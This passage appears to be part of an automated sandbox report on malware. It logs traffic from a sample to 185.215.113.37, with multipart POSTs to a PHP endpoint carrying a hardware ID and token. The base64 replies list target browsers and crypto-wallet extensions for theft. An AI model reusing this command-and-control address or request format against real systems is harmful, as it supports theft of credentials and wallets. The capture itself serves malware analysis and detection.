Oct 8, 2024 22:32:15.179956913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:15.193737030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:15.199119091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:15.936837912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:15.937812090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:15.966233969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:15.971301079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202095985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202132940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202159882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202173948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202191114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202191114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:16.202191114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:16.202198982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202208042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202218056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202224016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:16.202225924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202234983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202243090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.202297926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:16.204557896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:16.209408045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.949201107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:16.949301958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:21.960575104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:21.960643053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:22.669744015 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 22:31:58.355106115 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 22:31:59.083004951 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:31:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:31:59.095844030 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 45 44 32 31 38 37 46 30 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="hwid"BDED2187F07C932731780------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build"doma------JKJKJJDBKEGIECAAECFH--
Oct 8, 2024 22:31:59.344821930 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:31:59 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 6b 79 59 6a 52 6c 4d 6a 4a 6a 4e 44 51 78 59 32 5a 6b 4e 44 55 78 4e 47 59 7a 59 6d 49 30 5a 47 55 33 4e 44 63 33 4e 44 49 30 4d 44 49 77 5a 54 6b 31 4d 7a 64 6c 4e 54 51 34 59 6d 4a 69 5a 6a 67 34 4d 54 59 77 4e 32 4a 6d 4e 44 51 32 4d 47 4e 69 5a 6a 55 34 4d 6a 52 6a 5a 6a 4e 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjkyYjRlMjJjNDQxY2ZkNDUxNGYzYmI0ZGU3NDc3NDI0MDIwZTk1MzdlNTQ4YmJiZjg4MTYwN2JmNDQ2MGNiZjU4MjRjZjNhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 8, 2024 22:31:59.346167088 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="message"browsers------IJEBKKEGDBFIIEBFHIEH--
Oct 8, 2024 22:32:00.642586946 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:31:59 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 22:32:00.643353939 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 22:32:00.643366098 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 22:32:00.643452883 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:31:59 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 22:32:00.644084930 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:31:59 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 22:32:00.644567013 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"plugins------JEBKJDAFHJDGDHJKKEGI--
Oct 8, 2024 22:32:00.883677006 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:00 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 22:32:00.883719921 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 8, 2024 22:32:00.883781910 CEST	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 8, 2024 22:32:00.883812904 CEST	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
